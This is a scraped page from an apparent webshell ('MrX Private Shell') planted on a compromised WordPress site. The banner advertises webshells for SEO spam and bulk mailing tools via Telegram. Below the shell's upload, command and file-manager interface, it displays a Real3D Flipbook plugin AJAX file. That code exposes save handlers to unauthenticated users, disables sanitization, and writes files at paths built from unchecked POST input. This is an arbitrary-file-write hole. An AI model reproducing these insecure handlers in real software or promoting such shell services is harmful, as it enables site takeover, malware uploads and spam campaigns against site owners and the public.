__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php 
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

$globals_settings = get_option("real3dflipbook_global");

if(!$globals_settings)
	r3dfb_setDefaults();	

function r3dfb_setDefaults(){

	$defaults = r3dfb_getDefaults();

	delete_option("real3dflipbook_global");
	add_option("real3dflipbook_global", $defaults);

}

function r3dfb_admin_notice(){

}




add_action( 'wp_ajax_r3d_preview', 'r3dfb_preview_callback' );
add_action( 'wp_ajax_nopriv_r3d_preview', 'r3dfb_preview_callback' );

function r3dfb_preview_callback() {

	$previewOptions = ($_POST);

  $defaults = r3dfb_getDefaults();

	$globals = get_option("real3dflipbook_global");

  $globals = array_merge($defaults, $globals);

	echo json_encode(array_merge($globals, $previewOptions));

	wp_die(); // this is required to terminate immediately and return a proper response

}

add_action( 'wp_ajax_r3d_save', 'r3dfb_save_callback' );
add_action( 'wp_ajax_nopriv_r3d_save', 'r3dfb_save_callback' );


function r3d_sanitize_array($arr)
{
   // foreach ($arr as $key => $val) {

   //    if(is_array($val))
   //      $arr[$key] = r3d_sanitize_array($val);
   //    else
   //      $arr[$key] = sanitize_text_field($val);
   //      $arr[$key] = wp_kses_post($val);

   // }

   return $arr;
}


function r3dfb_save_callback() {

  check_ajax_referer( 'saving-real3d-flipbook', 'security' );
  
  $current_id = $page_id = '';

  unset($_POST['security']);
  unset($_POST['action']);

  // trace($_POST);

  error_log(print_r($_POST, true));

  $data = r3d_sanitize_array($_POST);

  // trace($data);

  if (isset($data['id']) ) {
    $current_id = intval($data['id']);
  }

  $reak3dflipbooks_converted = get_option("reak3dflipbooks_converted");

  if(!$reak3dflipbooks_converted){

    $flipbooks = get_option("flipbooks");
    if(!$flipbooks){
      $flipbooks = array();
    }

    add_option('reak3dflipbooks_converted', true);
    $real3dflipbooks_ids = array();
    //trace('converting flipbooks...');
    foreach ($flipbooks as $b) {
      $id = $b['id'];
      //trace($id);
      delete_option('real3dflipbook_'.(string)$id);
      add_option('real3dflipbook_'.(string)$id, $b);
      array_push($real3dflipbooks_ids,(string)$id);
    }
    // trace($real3dflipbooks_ids);
  }else{
    // trace($real3dflipbooks_ids);
    $real3dflipbooks_ids = get_option('real3dflipbooks_ids');
    if(!$real3dflipbooks_ids){
      $real3dflipbooks_ids = array();
    }
    $flipbooks = array();
    foreach ($real3dflipbooks_ids as $id) {
      // trace($id);
      $book = get_option('real3dflipbook_'.$id);
      if($book){

        $flipbooks[$id] = $book;
        // array_push($flipbooks,$book);

        
      }else{
        //remove id from array
        $real3dflipbooks_ids = array_diff($real3dflipbooks_ids, array($id));
      }
    }
  }
  
  update_option('real3dflipbooks_ids', $real3dflipbooks_ids);

  if (!isset($data['pages']) ) {
    $data['pages'] = array();
  }

  if (!isset($data['tableOfContent']) ) {
    $data['tableOfContent'] = array();
  }
  
  if($flipbooks[(string)$current_id]){
    update_option('real3dflipbook_'.(string)$current_id, $data);
  } else{
    add_option('real3dflipbook_'.(string)$current_id, $data);
    array_push($real3dflipbooks_ids,$current_id);
    update_option('real3dflipbooks_ids',$real3dflipbooks_ids);
  }

  echo json_encode(get_option("real3dflipbooks_ids"));

  wp_die(); // this is required to terminate immediately and return a proper response
}


add_action( 'wp_ajax_r3d_save_general', 'r3d_save_general_callback' );
add_action( 'wp_ajax_nopriv_r3d_save_general', 'r3d_save_general_callback' );

function r3d_save_general_callback() {

  check_ajax_referer( 'r3d_nonce', 'security' );

  unset($_POST['security']);
  unset($_POST['action']);
  $data = r3d_sanitize_array($_POST);

  update_option('real3dflipbook_global', $data);

  if($data["manageFlipbooks"] == "Administrator")
    update_option("real3dflipbook_capability", "activate_plugins");
  else if($data["manageFlipbooks"] == "Editor")
    update_option("real3dflipbook_capability", "publish_pages");
  else
    update_option("real3dflipbook_capability", "publish_posts");

  wp_die(); 

} 

add_action( 'wp_ajax_r3d_reset_general', 'r3d_reset_general_callback' );
add_action( 'wp_ajax_nopriv_r3d_reset_general', 'r3d_reset_general_callback' );

function r3d_reset_general_callback() {

  check_ajax_referer( 'r3d_nonce', 'security' );

  r3dfb_setDefaults();

  wp_die(); // this is required to terminate immediately and return a proper response

}


add_action( 'wp_ajax_r3d_save_page', 'r3dfb_save_page_callback' );
add_action( 'wp_ajax_nopriv_r3d_save_page', 'r3dfb_save_page_callback' );

function r3dfb_save_page_callback() {

	check_ajax_referer( 'saving-real3d-flipbook', 'security' );

	$id = intval($_POST['id']);
	$book = get_option('real3dflipbook_'.$id);
	$bookName = $book['name'];
	$upload_dir = wp_upload_dir();
	$booksFolder = $upload_dir['basedir'] . '/real3d-flipbook/';
	$bookFolder = $booksFolder . 'flipbook_' . $id . '/';
	$file = $bookFolder.$_POST['page'].".jpg";
	$data = $_POST['dataurl'];
	$uri = substr($data,strpos($data, ",") + 1);

	if (!file_exists($booksFolder)) {
		mkdir($booksFolder, 0777, true);
	}

	if (!file_exists($bookFolder)) {
		mkdir($bookFolder, 0777, true);
	}

	if(!file_put_contents($file, base64_decode($uri))){
		echo " failed writing image ".$file;
	}else{
		echo(($upload_dir['baseurl'] . '/real3d-flipbook/flipbook_' .$id . '/'.$_POST['page'].'.jpg'));
	}

	wp_die();

}



add_action( 'wp_ajax_r3d_save_page_json', 'r3dfb_save_page_json_callback' );
add_action( 'wp_ajax_nopriv_r3d_save_page_json', 'r3dfb_save_page_json_callback' );

function r3dfb_save_page_json_callback() {

  check_ajax_referer( 'saving-real3d-flipbook', 'security' );

  $id = intval($_POST['id']);
  $book = get_option('real3dflipbook_'.$id);
  $bookName = $book['name'];
  $upload_dir = wp_upload_dir();
  $booksFolder = $upload_dir['basedir'] . '/real3d-flipbook/';
  $bookFolder = $booksFolder . 'flipbook_' . $id . '/';
  $file = $bookFolder.$_POST['page'].".json";
  $data = stripslashes($_POST['dataurl']);
  // $uri = substr($data,strpos($data, ",") + 1);

  if (!file_exists($booksFolder)) {
    mkdir($booksFolder, 0777, true);
  }

  if (!file_exists($bookFolder)) {
    mkdir($bookFolder, 0777, true);
  }

  if(!file_put_contents($file, $data)){
    echo " failed writing image ".$file;
  }else{
    echo(($upload_dir['baseurl'] . '/real3d-flipbook/flipbook_' .$id . '/'.$_POST['page'].'.json'));
  }

  wp_die();

}



function real3d_flipbook_add_new(){
	$_GET['action'] = "add_new";
	real3d_flipbook_admin();
}

function r3dfb_elementor_init(){
	//elementor init
}
add_action('elementor/init', 'r3dfb_elementor_init');




Filemanager

Name Type Size Permission Actions
Real3DFlipbook.php File 48 KB 0775
activation.php File 590 B 0775
addons.php File 5.7 KB 0775
admin-actions.php File 2.21 KB 0775
archive-r3d.php File 210 B 0775
edit-flipbook-post.php File 14.29 KB 0775
flipbooks.php File 6.99 KB 0775
general.php File 8.84 KB 0775
import.php File 741 B 0775
index.php File 26 B 0775
plugin-admin.php File 6.89 KB 0775
post-type.php File 11.62 KB 0775
single-r3d.php File 1007 B 0775
Filemanager